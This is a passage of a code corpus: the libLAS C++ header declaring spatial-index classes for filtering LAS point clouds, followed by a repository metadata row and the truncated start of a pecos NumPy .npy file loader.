* Author: Gary Huber, gary@garyhuberart.com
*
******************************************************************************
* Copyright (c) 2010, Gary Huber, gary@garyhuberart.com
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following
* conditions are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided
* with the distribution.
* * Neither the name of the Martin Isenburg or Iowa Department
* of Natural Resources nor the names of its contributors may be
* used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY
* OF SUCH DAMAGE.
****************************************************************************/
#ifndef LIBLAS_LASINDEX_HPP_INCLUDED
#define LIBLAS_LASINDEX_HPP_INCLUDED
#include <liblas/reader.hpp>
#include <liblas/header.hpp>
#include <liblas/bounds.hpp>
#include <liblas/variablerecord.hpp>
#include <liblas/detail/index/indexcell.hpp>
#include <liblas/export.hpp>
// std
#include <stdexcept> // std::out_of_range
#include <cstdio> // file io
#include <iostream> // file io
#include <cstdlib> // std::size_t
#include <vector> // std::vector
namespace liblas {
#define LIBLAS_INDEX_MAXMEMDEFAULT 10000000 // 10 megs default
#define LIBLAS_INDEX_MINMEMDEFAULT 1000000 // 1 meg at least has to be allowed
#define LIBLAS_INDEX_VERSIONMAJOR 1
#define LIBLAS_INDEX_VERSIONMINOR 2 // minor version 2 begins 11/15/10
#define LIBLAS_INDEX_MAXSTRLEN 512
#define LIBLAS_INDEX_MAXCELLS 250000
#define LIBLAS_INDEX_OPTPTSPERCELL 100
#define LIBLAS_INDEX_MAXPTSPERCELL 1000
#define LIBLAS_INDEX_RESERVEFILTERDEFAULT 1000000 // 1 million points will be reserved on large files for filter result
// define this in order to fix problem with last bytes of last VLR getting corrupted
// when saved and reloaded from index or las file.
#define LIBLAS_INDEX_PADLASTVLR
typedef std::vector<boost::uint8_t> IndexVLRData;
typedef std::vector<liblas::detail::IndexCell> IndexCellRow;
typedef std::vector<IndexCellRow> IndexCellDataBlock;
class LAS_DLL IndexData;
class LAS_DLL IndexIterator;
// Index class is the fundamental object for building and filtering a spatial index of points in an LAS file.
// An Index class doesn't do anything until it is configured with an IndexData object (see below).
// You instantiate an Index object first and then pass it an IndexData or you can construct the Index with an
// IndexData. Nothing happens until the Index is told what to do via the configuration with IndexData.
// For details on configuration options see IndexData below.
// Once an index exists and is configured, it can be used to filter the point set in the LAS file for which it
// was built. The points have to be what they were when the index was built. The index is not automatically
// updated if the point set is changed. The index becomes invalid if either the number of points is changed,
// the order of points is changed or the location of any points is changed. The Validate function is run to
// determine as best it can the validity of the stored index but it isn't perfect. It can only determine if
// the number of points has changed or the spatial extents of the file have changed.
// The user can constrain the memory used in building an index if that is believed to be an issue.
// The results will be the same but some efficiency may be lost in the index building process.
// Data stored in index header can be examined for determining suitability of index for desired purpose.
// 1) presence of z-dimensional cell structure is indicated by GetCellsZ() called on the Index.
// 2) Index author GetIndexAuthorStr() - provided by author at time of creation
// 3) Index comment GetIndexCommentStr() - provided by author at time of creation
// 4) Index creation date GetIndexDateStr() - provided by author at time of creation
// The latter fields are not validated in any way by the index building code and are just three fields
// which can be used as the user sees fit. Maximum length is LIBLAS_INDEX_MAXSTRLEN - 1.
// Obtaining a filtered set of points requires that a valid index exist (see above).
// The IndexData class is used again to pass the extents of the filter to the Index. By making any high/low
// bounds coordinate pair equal, that dimension is ignored for the purposes of filtering. Note that Z dimension
// discrimination is still available even if z-binning was not invoked during index creation. Filtering with
// the z dimension may be slower in that event but no less successful.
// A filter operation is invoked with the command:
// const std::vector<boost::uint32_t>& Filter(IndexData const& ParamSrc);
// The return value is a vector of point ID's. The points can be accessed from the LAS file in the standard way
// as the index in no way modifies them or their sequential order.
// Currently only one, two or three dimensional spatial window filters are supported. See IndexData below for
// more info on filtering.
class LAS_DLL Index
{
public:
Index();
Index(IndexData const& ParamSrc);
~Index();
// Blocked copying operations, declared but not defined.
/// Copy constructor.
Index(Index const& other);
/// Assignment operator.
Index& operator=(Index const& rhs);
private:
Reader *m_reader;
Reader *m_idxreader;
Header m_pointheader;
Header m_idxheader;
Bounds<double> m_bounds;
bool m_indexBuilt, m_tempFileStarted, m_readerCreated, m_readOnly, m_writestandaloneindex, m_forceNewIndex;
int m_debugOutputLevel;
boost::uint8_t m_versionMajor, m_versionMinor;
boost::uint32_t m_pointRecordsCount, m_maxMemoryUsage, m_cellsX, m_cellsY, m_cellsZ, m_totalCells,
m_DataVLR_ID;
liblas::detail::TempFileOffsetType m_tempFileWrittenBytes;
double m_rangeX, m_rangeY, m_rangeZ, m_cellSizeZ, m_cellSizeX, m_cellSizeY;
std::string m_tempFileName;
std::string m_indexAuthor;
std::string m_indexComment;
std::string m_indexDate;
std::vector<boost::uint32_t> m_filterResult;
std::ostream *m_ofs;
FILE *m_tempFile, *m_outputFile;
FILE *m_debugger;
void SetValues(void);
bool IndexInit(void);
void ClearOldIndex(void);
bool BuildIndex(void);
bool Validate(void);
boost::uint32_t GetDefaultReserve(void);
bool LoadIndexVLR(VariableRecord const& vlr);
void SetCellFilterBounds(IndexData & ParamSrc);
bool FilterOneVLR(VariableRecord const& vlr, boost::uint32_t& i, IndexData & ParamSrc, bool & VLRDone);
bool FilterPointSeries(boost::uint32_t & PointID, boost::uint32_t & PointsScanned,
boost::uint32_t const PointsToIgnore, boost::uint32_t const x, boost::uint32_t const y, boost::uint32_t const z,
liblas::detail::ConsecPtAccumulator const ConsecutivePts, IndexIterator *Iterator,
IndexData const& ParamSrc);
bool VLRInteresting(boost::int32_t MinCellX, boost::int32_t MinCellY, boost::int32_t MaxCellX, boost::int32_t MaxCellY,
IndexData const& ParamSrc);
bool CellInteresting(boost::int32_t x, boost::int32_t y, IndexData const& ParamSrc);
bool SubCellInteresting(boost::int32_t SubCellID, boost::int32_t XCellID, boost::int32_t YCellID, IndexData const& ParamSrc);
bool ZCellInteresting(boost::int32_t ZCellID, IndexData const& ParamSrc);
bool FilterOnePoint(boost::int32_t x, boost::int32_t y, boost::int32_t z, boost::int32_t PointID, boost::int32_t LastPointID, bool &LastPtRead,
IndexData const& ParamSrc);
// Determines what X/Y cell in the basic cell matrix a point falls in
bool IdentifyCell(Point const& CurPt, boost::uint32_t& CurCellX, boost::uint32_t& CurCellY) const;
// determines what Z cell a point falls in
bool IdentifyCellZ(Point const& CurPt, boost::uint32_t& CurCellZ) const;
// Determines what quadrant sub-cell a point falls in
bool IdentifySubCell(Point const& CurPt, boost::uint32_t x, boost::uint32_t y, boost::uint32_t& CurSubCell) const;
// Offloads binned cell data while building Index when cell data in memory exceeds maximum set by user
bool PurgePointsToTempFile(IndexCellDataBlock& CellBlock);
// Reloads and examines one cell of data from temp file
bool LoadCellFromTempFile(liblas::detail::IndexCell *CellBlock,
boost::uint32_t CurCellX, boost::uint32_t CurCellY);
// temp file is used to store sorted data while building index
FILE *OpenTempFile(void);
// closes and removes the temp file
void CloseTempFile(void);
// Creates a Writer from m_ofs and re-saves entire LAS input file with new index
// Current version does not save any data following the points
bool SaveIndexInLASFile(void);
// Creates a Writer from m_ofs and re-saves LAS header with new index, but not with data point records
bool SaveIndexInStandAloneFile(void);
// Calculate index bounds dimensions
void CalcRangeX(void) {m_rangeX = (m_bounds.max)(0) - (m_bounds.min)(0);}
void CalcRangeY(void) {m_rangeY = (m_bounds.max)(1) - (m_bounds.min)(1);}
void CalcRangeZ(void) {m_rangeZ = (m_bounds.max)(2) - (m_bounds.min)(2);}
// error messages
bool FileError(const char *Reporter);
bool InputFileError(const char *Reporter) const;
bool OutputFileError(const char *Reporter) const;
bool DebugOutputError(const char *Reporter) const;
bool PointCountError(const char *Reporter) const;
bool PointBoundsError(const char *Reporter) const;
bool MemoryError(const char *Reporter) const;
bool InitError(const char *Reporter) const;
bool InputBoundsError(const char *Reporter) const;
// debugging
bool OutputCellStats(IndexCellDataBlock& CellBlock) const;
bool OutputCellGraph(std::vector<boost::uint32_t> CellPopulation, boost::uint32_t MaxPointsPerCell) const;
public:
// IndexFailed and IndexReady can be used to tell if an Index is ready for a filter operation
bool IndexFailed(void) const {return (! m_indexBuilt);}
bool IndexReady(void) const {return (m_indexBuilt);}
// Prep takes the input data and initializes Index values and then either builds or examines the Index
bool Prep(IndexData const& ParamSrc);
// Filter performs a point filter using the bounds in ParamSrc
const std::vector<boost::uint32_t>& Filter(IndexData & ParamSrc);
IndexIterator* Filter(IndexData const& ParamSrc, boost::uint32_t ChunkSize);
IndexIterator* Filter(double LowFilterX, double HighFilterX, double LowFilterY, double HighFilterY,
double LowFilterZ, double HighFilterZ, boost::uint32_t ChunkSize);
IndexIterator* Filter(Bounds<double> const& BoundsSrc, boost::uint32_t ChunkSize);
// Return the bounds of the current Index
double GetMinX(void) const {return (m_bounds.min)(0);}
double GetMaxX(void) const {return (m_bounds.max)(0);}
double GetMinY(void) const {return (m_bounds.min)(1);}
double GetMaxY(void) const {return (m_bounds.max)(1);}
double GetMinZ(void) const {return (m_bounds.min)(2);}
double GetMaxZ(void) const {return (m_bounds.max)(2);}
// Ranges are updated when an index is built or the index header VLR read
double GetRangeX(void) const {return m_rangeX;}
double GetRangeY(void) const {return m_rangeY;}
double GetRangeZ(void) const {return m_rangeZ;}
Bounds<double> const& GetBounds(void) const {return m_bounds;}
// Return the number of points used to build the Index
boost::uint32_t GetPointRecordsCount(void) const {return m_pointRecordsCount;}
// Return the number of cells in the Index
boost::uint32_t GetCellsX(void) const {return m_cellsX;}
boost::uint32_t GetCellsY(void) const {return m_cellsY;}
// Return the number of Z-dimension cells in the Index. Value is 1 if no Z-cells were created during Index building
boost::uint32_t GetCellsZ(void) const {return m_cellsZ;}
// 42 is the ID for the Index header VLR and 43 is the normal ID for the Index data VLR's
// For future expansion, multiple indexes could assign data VLR ID's of their own choosing
boost::uint32_t GetDataVLR_ID(void) const {return m_DataVLR_ID;}
// Since the user can define a Z cell size it is useful to examine that for an existing index
double GetCellSizeZ(void) const {return m_cellSizeZ;}
// Return values used in building or examining index
FILE *GetDebugger(void) const {return m_debugger;}
bool GetReadOnly(void) const {return m_readOnly;}
bool GetStandaloneIndex(void) const {return m_writestandaloneindex;}
bool GetForceNewIndex(void) const {return m_forceNewIndex;}
boost::uint32_t GetMaxMemoryUsage(void) const {return m_maxMemoryUsage;}
int GetDebugOutputLevel(void) const {return m_debugOutputLevel;}
// Not sure if these are more useful than dangerous
Header *GetPointHeader(void) {return &m_pointheader;}
Header *GetIndexHeader(void) {return &m_idxheader;}
Reader *GetReader(void) const {return m_reader;}
Reader *GetIndexReader(void) const {return m_idxreader;}
const char *GetTempFileName(void) const {return m_tempFileName.c_str();}
// Returns the strings set in the index when built
const char *GetIndexAuthorStr(void) const;
const char *GetIndexCommentStr(void) const;
const char *GetIndexDateStr(void) const;
boost::uint8_t GetVersionMajor(void) const {return m_versionMajor;}
boost::uint8_t GetVersionMinor(void) const {return m_versionMinor;}
// Methods for setting values used when reading index from file to facilitate moving reading function into
// separate IndexInput object at a future time to provide symmetry with IndexOutput
void SetDataVLR_ID(boost::uint32_t DataVLR_ID) {m_DataVLR_ID = DataVLR_ID;}
void SetIndexAuthorStr(const char *ias) {m_indexAuthor = ias;}
void SetIndexCommentStr(const char *ics) {m_indexComment = ics;}
void SetIndexDateStr(const char *ids) {m_indexDate = ids;}
void SetMinX(double minX) {(m_bounds.min)(0, minX);}
void SetMaxX(double maxX) {(m_bounds.max)(0, maxX);}
void SetMinY(double minY) {(m_bounds.min)(1, minY);}
void SetMaxY(double maxY) {(m_bounds.max)(1, maxY);}
void SetMinZ(double minZ) {(m_bounds.min)(2, minZ);}
void SetMaxZ(double maxZ) {(m_bounds.max)(2, maxZ);}
void SetPointRecordsCount(boost::uint32_t prc) {m_pointRecordsCount = prc;}
void SetCellsX(boost::uint32_t cellsX) {m_cellsX = cellsX;}
void SetCellsY(boost::uint32_t cellsY) {m_cellsY = cellsY;}
void SetCellsZ(boost::uint32_t cellsZ) {m_cellsZ = cellsZ;}
};
// IndexData is used to pass attributes to and from the Index itself.
// How it is initialized determines what action is taken when an Index object is instantiated with the IndexData.
// The choices are:
// a) Build an index for an las file
// 1) std::ostream *ofs must be supplied as well as std::istream *ifs or Reader *reader and a full file path
// for writing a temp file, const char *tmpfilenme.
// b) Examine an index for an las file
// 1) std::istream *ifs or Reader *reader must be supplied for the LAS file containing the point data
// 2) if the index to be read is in a standalone file then Reader *idxreader must also be supplied
// Options for building are
// a) build a new index even if an old one exists, overwriting the old one
// 1) forcenewindex must be true
// 2) std::ostream *ofs must be a valid ostream where there is storage space for the desired output
// b) only build an index if none exists
// 1) forcenewindex must be false
// 2) std::ostream *ofs must be a valid ostream where there is storage space for the desired output
// c) do not build a new index under any circumstances
// 1) readonly must be true
// Location of the index can be specified
// a) build the index within the las file VLR structure
// 1) writestandaloneindex must be false
// 2) std::ostream *ofs must be a valid ostream where there is storage space for a full copy
// of the LAS file plus the new index which is typically less than 5% of the original file size
// b) build a stand-alone index outside the las file
// 1) writestandaloneindex must be true
// 2) std::ostream *ofs must be a valid ostream where there is storage space for the new index
// which is typically less than 5% of the original file size
// How the index is built is determined also by members of the IndexData class object.
// Options include:
// a) control the maximum memory used during the build process
// 1) pass a value for maxmem in bytes greater than 0. 0 resolves to default LIBLAS_INDEX_MAXMEMDEFAULT.
// b) debug messages generated during index creation or filtering. The higher the number, the more messages.
// 0) no debug reports
// 1) general info messages
// 2) status messages
// 3) cell statistics
// 4) progress status
// c) where debug messages are sent
// 1) default is stderr
// d) control the creation of z-dimensional cells and what z cell size to use
// 1) to turn on z-dimensional binning, use a value larger than 0 for zbinht
// e) data can be stored in index header for later use in recognizing the index.
// 1) Index author indexauthor - provided by author at time of creation
// 2) Index comment indexcomment - provided by author at time of creation
// 3) Index creation date indexdate - provided by author at time of creation
// The fields are not validated in any way by the index building code and are just three fields
// which can be used as the user sees fit. Maximum length is LIBLAS_INDEX_MAXSTRLEN - 1.
// Once an index is built, or if an index already exists, the IndexData can be configured
// to define the bounds of a filter operation. Any dimension whose bounds pair are equal will
// be disregarded for the purpose of filtering. Filtering on the Z axis can still be performed even if the
// index was not built with Z cell sorting. Bounds must be defined in the same units and coordinate
// system that a liblas::Header returns with the commands GetMin{X|Y|Z} and a liblas::Point returns with
// Get{X|Y|Z}
class LAS_DLL IndexData
{
friend class Index;
friend class IndexIterator;
public:
IndexData(void);
IndexData(Index const& index);
// use one of these methods to configure the IndexData with the values needed for specific tasks
// one comprehensive method to set all the values used in index initialization
bool SetInitialValues(std::istream *ifs = 0, Reader *reader = 0, std::ostream *ofs = 0, Reader *idxreader = 0,
const char *tmpfilenme = 0, const char *indexauthor = 0,
const char *indexcomment = 0, const char *indexdate = 0, double zbinht = 0.0,
boost::uint32_t maxmem = LIBLAS_INDEX_MAXMEMDEFAULT, int debugoutputlevel = 0, bool readonly = 0,
bool writestandaloneindex = 0, bool forcenewindex = 0, FILE *debugger = 0);
// set the values needed for building an index embedded in existing las file, overriding any existing index
bool SetBuildEmbedValues(Reader *reader, std::ostream *ofs, const char *tmpfilenme, const char *indexauthor = 0,
const char *indexcomment = 0, const char *indexdate = 0, double zbinht = 0.0,
boost::uint32_t maxmem = LIBLAS_INDEX_MAXMEMDEFAULT, int debugoutputlevel = 0, FILE *debugger = 0);
// set the values needed for building an index in a standalone file, overriding any existing index
bool SetBuildAloneValues(Reader *reader, std::ostream *ofs, const char *tmpfilenme, const char *indexauthor = 0,
const char *indexcomment = 0, const char *indexdate = 0, double zbinht = 0.0,
boost::uint32_t maxmem = LIBLAS_INDEX_MAXMEMDEFAULT, int debugoutputlevel = 0, FILE *debugger = 0);
// set the values needed for filtering with an existing index in an las file
bool SetReadEmbedValues(Reader *reader, int debugoutputlevel = 0, FILE *debugger = 0);
// set the values needed for filtering with an existing index in a standalone file
bool SetReadAloneValues(Reader *reader, Reader *idxreader, int debugoutputlevel = 0, FILE *debugger = 0);
// set the values needed for building an index embedded in existing las file only if no index already exists
// otherwise, prepare the existing index for filtering
bool SetReadOrBuildEmbedValues(Reader *reader, std::ostream *ofs, const char *tmpfilenme, const char *indexauthor = 0,
const char *indexcomment = 0, const char *indexdate = 0, double zbinht = 0.0,
boost::uint32_t maxmem = LIBLAS_INDEX_MAXMEMDEFAULT, int debugoutputlevel = 0, FILE *debugger = 0);
// set the values needed for building an index in a standalone file only if no index already exists in the las file
// otherwise, prepare the existing index for filtering
bool SetReadOrBuildAloneValues(Reader *reader, std::ostream *ofs, const char *tmpfilenme, const char *indexauthor = 0,
const char *indexcomment = 0, const char *indexdate = 0, double zbinht = 0.0,
boost::uint32_t maxmem = LIBLAS_INDEX_MAXMEMDEFAULT, int debugoutputlevel = 0, FILE *debugger = 0);
// set the bounds for use in filtering
bool SetFilterValues(double LowFilterX, double HighFilterX, double LowFilterY, double HighFilterY, double LowFilterZ, double HighFilterZ,
Index const& index);
bool SetFilterValues(Bounds<double> const& src, Index const& index);
/// Copy constructor.
IndexData(IndexData const& other);
/// Assignment operator.
IndexData& operator=(IndexData const& rhs);
private:
void SetValues(void);
bool CalcFilterEnablers(void);
void Copy(IndexData const& other);
protected:
Reader *m_reader;
Reader *m_idxreader;
IndexIterator *m_iterator;
Bounds<double> m_filter;
std::istream *m_ifs;
std::ostream *m_ofs;
const char *m_tempFileName;
const char *m_indexAuthor;
const char *m_indexComment;
const char *m_indexDate;
double m_cellSizeZ;
double m_LowXBorderPartCell, m_HighXBorderPartCell, m_LowYBorderPartCell, m_HighYBorderPartCell;
boost::int32_t m_LowXCellCompletelyIn, m_HighXCellCompletelyIn, m_LowYCellCompletelyIn, m_HighYCellCompletelyIn,
m_LowZCellCompletelyIn, m_HighZCellCompletelyIn;
boost::int32_t m_LowXBorderCell, m_HighXBorderCell, m_LowYBorderCell, m_HighYBorderCell,
m_LowZBorderCell, m_HighZBorderCell;
boost::uint32_t m_maxMemoryUsage;
int m_debugOutputLevel;
bool m_noFilterX, m_noFilterY, m_noFilterZ, m_readOnly, m_writestandaloneindex, m_forceNewIndex, m_indexValid;
FILE *m_debugger;
void SetIterator(IndexIterator *setIt) {m_iterator = setIt;}
IndexIterator *GetIterator(void) {return(m_iterator);}
public:
double GetCellSizeZ(void) const {return m_cellSizeZ;}
FILE *GetDebugger(void) const {return m_debugger;}
bool GetReadOnly(void) const {return m_readOnly;}
bool GetStandaloneIndex(void) const {return m_writestandaloneindex;}
bool GetForceNewIndex(void) const {return m_forceNewIndex;}
boost::uint32_t GetMaxMemoryUsage(void) const {return m_maxMemoryUsage;}
Reader *GetReader(void) const {return m_reader;}
int GetDebugOutputLevel(void) const {return m_debugOutputLevel;}
const char *GetTempFileName(void) const {return m_tempFileName;}
const char *GetIndexAuthorStr(void) const;
const char *GetIndexCommentStr(void) const;
const char *GetIndexDateStr(void) const;
double GetMinFilterX(void) const {return (m_filter.min)(0);}
double GetMaxFilterX(void) const {return (m_filter.max)(0);}
double GetMinFilterY(void) const {return (m_filter.min)(1);}
double GetMaxFilterY(void) const {return (m_filter.max)(1);}
double GetMinFilterZ(void) const {return (m_filter.min)(2);}
double GetMaxFilterZ(void) const {return (m_filter.max)(2);}
void ClampFilterBounds(Bounds<double> const& m_bounds);
void SetReader(Reader *reader) {m_reader = reader;}
void SetIStream(std::istream *ifs) {m_ifs = ifs;}
void SetOStream(std::ostream *ofs) {m_ofs = ofs;}
void SetTmpFileName(const char *tmpfilenme) {m_tempFileName = tmpfilenme;}
void SetIndexAuthor(const char *indexauthor) {m_indexAuthor = indexauthor;}
void SetIndexComment(const char *indexcomment) {m_indexComment = indexcomment;}
void SetIndexDate(const char *indexdate) {m_indexDate = indexdate;}
void SetCellSizeZ(double cellsizez) {m_cellSizeZ = cellsizez;}
void SetMaxMem(boost::uint32_t maxmem) {m_maxMemoryUsage = maxmem;}
void SetDebugOutputLevel(int debugoutputlevel) {m_debugOutputLevel = debugoutputlevel;}
void SetReadOnly(bool readonly) {m_readOnly = readonly;}
void SetStandaloneIndex(bool writestandaloneindex) {m_writestandaloneindex = writestandaloneindex;}
void SetDebugger(FILE *debugger) {m_debugger = debugger;}
};
class LAS_DLL IndexIterator
{
friend class Index;
protected:
IndexData m_indexData;
Index *m_index;
boost::uint32_t m_chunkSize, m_advance;
boost::uint32_t m_curVLR, m_curCellStartPos, m_curCellX, m_curCellY, m_totalPointsScanned, m_ptsScannedCurCell,
m_ptsScannedCurVLR;
boost::uint32_t m_conformingPtsFound;
public:
IndexIterator(Index *IndexSrc, double LowFilterX, double HighFilterX, double LowFilterY, double HighFilterY,
double LowFilterZ, double HighFilterZ, boost::uint32_t ChunkSize);
IndexIterator(Index *IndexSrc, IndexData const& IndexDataSrc, boost::uint32_t ChunkSize);
IndexIterator(Index *IndexSrc, Bounds<double> const& BoundsSrc, boost::uint32_t ChunkSize);
/// Copy constructor.
IndexIterator(IndexIterator const& other);
/// Assignment operator.
IndexIterator& operator=(IndexIterator const& rhs);
private:
void Copy(IndexIterator const& other);
void ResetPosition(void);
boost::uint8_t MinMajorVersion(void) {return(1);};
boost::uint8_t MinMinorVersion(void) {return(2);};
public:
/// n=0 or n=1 gives next sequence with no gap, n>1 skips n-1 filter-compliant points, n<0 jumps backwards n compliant points
const std::vector<boost::uint32_t>& advance(boost::int32_t n);
/// returns filter-compliant points as though the first point returned is element n in a zero-based array
const std::vector<boost::uint32_t>& operator()(boost::int32_t n);
/// returns next set of filter-compliant points with no skipped points
inline const std::vector<boost::uint32_t>& operator++() {return (advance(1));}
/// returns next set of filter-compliant points with no skipped points
inline const std::vector<boost::uint32_t>& operator++(int) {return (advance(1));}
/// returns set of filter-compliant points skipping backwards 1 from the end of the last set
inline const std::vector<boost::uint32_t>& operator--() {return (advance(-1));}
/// returns set of filter-compliant points skipping backwards 1 from the end of the last set
inline const std::vector<boost::uint32_t>& operator--(int) {return (advance(-1));}
/// returns next set of filter-compliant points with n-1 skipped points, for n<0 acts like -=()
inline const std::vector<boost::uint32_t>& operator+=(boost::int32_t n) {return (advance(n));}
/// returns next set of filter-compliant points with n-1 skipped points, for n<0 acts like -()
inline const std::vector<boost::uint32_t>& operator+(boost::int32_t n) {return (advance(n));}
/// returns set of filter-compliant points beginning n points backwards from the end of the last set, for n<0 acts like +=()
inline const std::vector<boost::uint32_t>& operator-=(boost::int32_t n) {return (advance(-n));}
/// returns set of filter-compliant points beginning n points backwards from the end of the last set, for n<0 acts like +()
inline const std::vector<boost::uint32_t>& operator-(boost::int32_t n) {return (advance(-n));}
/// returns filter-compliant points as though the first point returned is element n in a zero-based array
inline const std::vector<boost::uint32_t>& operator[](boost::int32_t n) {return ((*this)(n));}
/// tests viability of index for filtering with iterator
bool ValidateIndexVersion(boost::uint8_t VersionMajor, boost::uint8_t VersionMinor) {return (VersionMajor > MinMajorVersion() || (VersionMajor == MinMajorVersion() && VersionMinor >= MinMinorVersion()));};
};
template <typename T, typename Q>
inline void ReadVLRData_n(T& dest, IndexVLRData const& src, Q& pos)
{
// error if reading past array end
if (static_cast<size_t>(pos) + sizeof(T) > src.size())
throw std::out_of_range("liblas::detail::ReadVLRData_n: array index out of range");
// copy sizeof(T) bytes to destination
memcpy(&dest, &src[pos], sizeof(T));
// Fix little-endian
LIBLAS_SWAP_BYTES_N(dest, sizeof(T));
// increment the write position to end of written data
pos = pos + static_cast<Q>(sizeof(T));
}
template <typename T, typename Q>
inline void ReadVLRDataNoInc_n(T& dest, IndexVLRData const& src, Q const& pos)
{
// error if reading past array end
if (static_cast<size_t>(pos) + sizeof(T) > src.size())
throw std::out_of_range("liblas::detail::ReadVLRDataNoInc_n: array index out of range");
// copy sizeof(T) bytes to destination
memcpy(&dest, &src[pos], sizeof(T));
// Fix little-endian
LIBLAS_SWAP_BYTES_N(dest, sizeof(T));
}
template <typename T, typename Q>
inline void ReadeVLRData_str(char * dest, IndexVLRData const& src, T const srclen, Q& pos)
{
// error if reading past array end
if (static_cast<size_t>(pos) + static_cast<size_t>(srclen) > src.size())
throw std::out_of_range("liblas::detail::ReadeVLRData_str: array index out of range");
// copy srclen bytes to destination
memcpy(dest, &src[pos], srclen);
// increment the write position to end of written data
pos = pos + static_cast<Q>(srclen);
}
template <typename T, typename Q>
inline void ReadVLRDataNoInc_str(char * dest, IndexVLRData const& src, T const srclen, Q pos)
{
// error if reading past array end
if (static_cast<size_t>(pos) + static_cast<size_t>(srclen) > src.size())
throw std::out_of_range("liblas::detail::ReadVLRDataNoInc_str: array index out of range");
// copy srclen bytes to destination
std::memcpy(dest, &src[pos], srclen);
}
} // namespace liblas
#endif // LIBLAS_LASINDEX_HPP_INCLUDED
| 53.811189 | 206 | 0.752177 | LSDtopotools |
601188630d64a9e6b2cfa4bc770f0ffe10961168 | 14,615 | hpp | C++ | pecos/core/utils/scipy_loader.hpp | xeisberg/pecos | c9cf209676205dd000479861667351e724f0ba1c | [
"Apache-2.0"
] | 288 | 2021-04-26T21:34:12.000Z | 2022-03-29T19:50:06.000Z | pecos/core/utils/scipy_loader.hpp | xeisberg/pecos | c9cf209676205dd000479861667351e724f0ba1c | [
"Apache-2.0"
] | 32 | 2021-04-29T23:58:23.000Z | 2022-03-28T17:23:04.000Z | pecos/core/utils/scipy_loader.hpp | xeisberg/pecos | c9cf209676205dd000479861667351e724f0ba1c | [
"Apache-2.0"
] | 63 | 2021-04-28T20:12:59.000Z | 2022-03-29T14:10:36.000Z | /*
* Copyright 2021 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance
* with the License. A copy of the License is located at
*
* http://aws.amazon.com/apache2.0/
*
* or in the "license" file accompanying this file. This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES
* OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions
* and limitations under the License.
*/
#ifndef __SCIPY_LOADER_H__
#define __SCIPY_LOADER_H__
#include <algorithm>
#include <cstring>
#include <unordered_map>
#include <vector>
#include "utils/file_util.hpp"
namespace pecos {
//https://numpy.org/devdocs/reference/generated/numpy.lib.format.html
template<typename T>
class NpyArray {
public:
typedef T value_type;
typedef std::vector<value_type> array_t;
typedef std::vector<uint64_t> shape_t;
shape_t shape;
array_t array;
size_t num_elements;
bool fortran_order;
NpyArray() {}
NpyArray(const std::string& filename, uint64_t offset=0) { load(filename, offset); }
NpyArray(const std::vector<uint64_t>& shape, value_type default_value=0) { resize(shape, default_value); }
/* load an NpyArry<T> starting from the `offset`-th byte in the file with `filename` */
NpyArray<T>& load(const std::string& filename, uint64_t offset=0) {
//https://numpy.org/devdocs/reference/generated/numpy.lib.format.html
FILE *fp = fopen(filename.c_str(), "rb");
fseek(fp, offset, SEEK_SET);
// check magic string
std::vector<uint8_t> magic = {0x93u, 'N', 'U', 'M', 'P', 'Y'};
for(size_t i = 0; i < magic.size(); i++) {
if (pecos::file_util::fget_one<uint8_t>(fp) != magic[i]) {
throw std::runtime_error("file is not a valid NpyFile");
}
}
// load version
uint8_t major_version = pecos::file_util::fget_one<uint8_t>(fp);
uint8_t minor_version = pecos::file_util::fget_one<uint8_t>(fp);
// load header len
uint64_t header_len;
if(major_version == 1) {
header_len = pecos::file_util::fget_one<uint16_t>(fp);
} else if (major_version == 2) {
header_len = pecos::file_util::fget_one<uint32_t>(fp);
} else {
throw std::runtime_error("unsupported NPY major version");
}
if(minor_version != 0) {
throw std::runtime_error("unsupported NPY minor version");
}
// load header
std::vector<char> header(header_len + 1, (char) 0);
pecos::file_util::fget_multiple<char>(&header[0], header_len, fp);
char endian_code, type_code;
uint32_t word_size;
std::string dtype;
this->parse_header(header, endian_code, type_code, word_size, dtype);
// load array content
this->load_content(fp, word_size, dtype);
fclose(fp);
return *this;
}
void resize(const std::vector<uint64_t>& new_shape, value_type default_value=value_type()) {
shape = new_shape;
size_t num_elements = 1;
for(auto& dim : shape) {
num_elements *= dim;
}
array.resize(num_elements);
std::fill(array.begin(), array.end(), default_value);
}
size_t ndim() const { return shape.size(); }
size_t size() const { return num_elements; }
value_type* data() { return &array[0]; }
value_type& at(size_t idx) { return array[idx]; }
const value_type& at(size_t idx) const { return array[idx]; }
value_type& operator[](size_t idx) { return array[idx]; }
const value_type& operator[](size_t idx) const { return array[idx]; }
private:
void parse_header(const std::vector<char>& header, char& endian_code, char& type_code, uint32_t& word_size, std::string& dtype) {
char value_buffer[1024] = {0};
const char* header_cstr = &header[0];
// parse descr in a str form
if(1 != sscanf(strstr(header_cstr, "'descr'"), "'descr': '%[^']' ", value_buffer)) {
throw std::runtime_error("invalid NPY header (descr)");
}
dtype = std::string(value_buffer);
if(3 != sscanf(value_buffer, "%c%c%u", &endian_code, &type_code, &word_size)) {
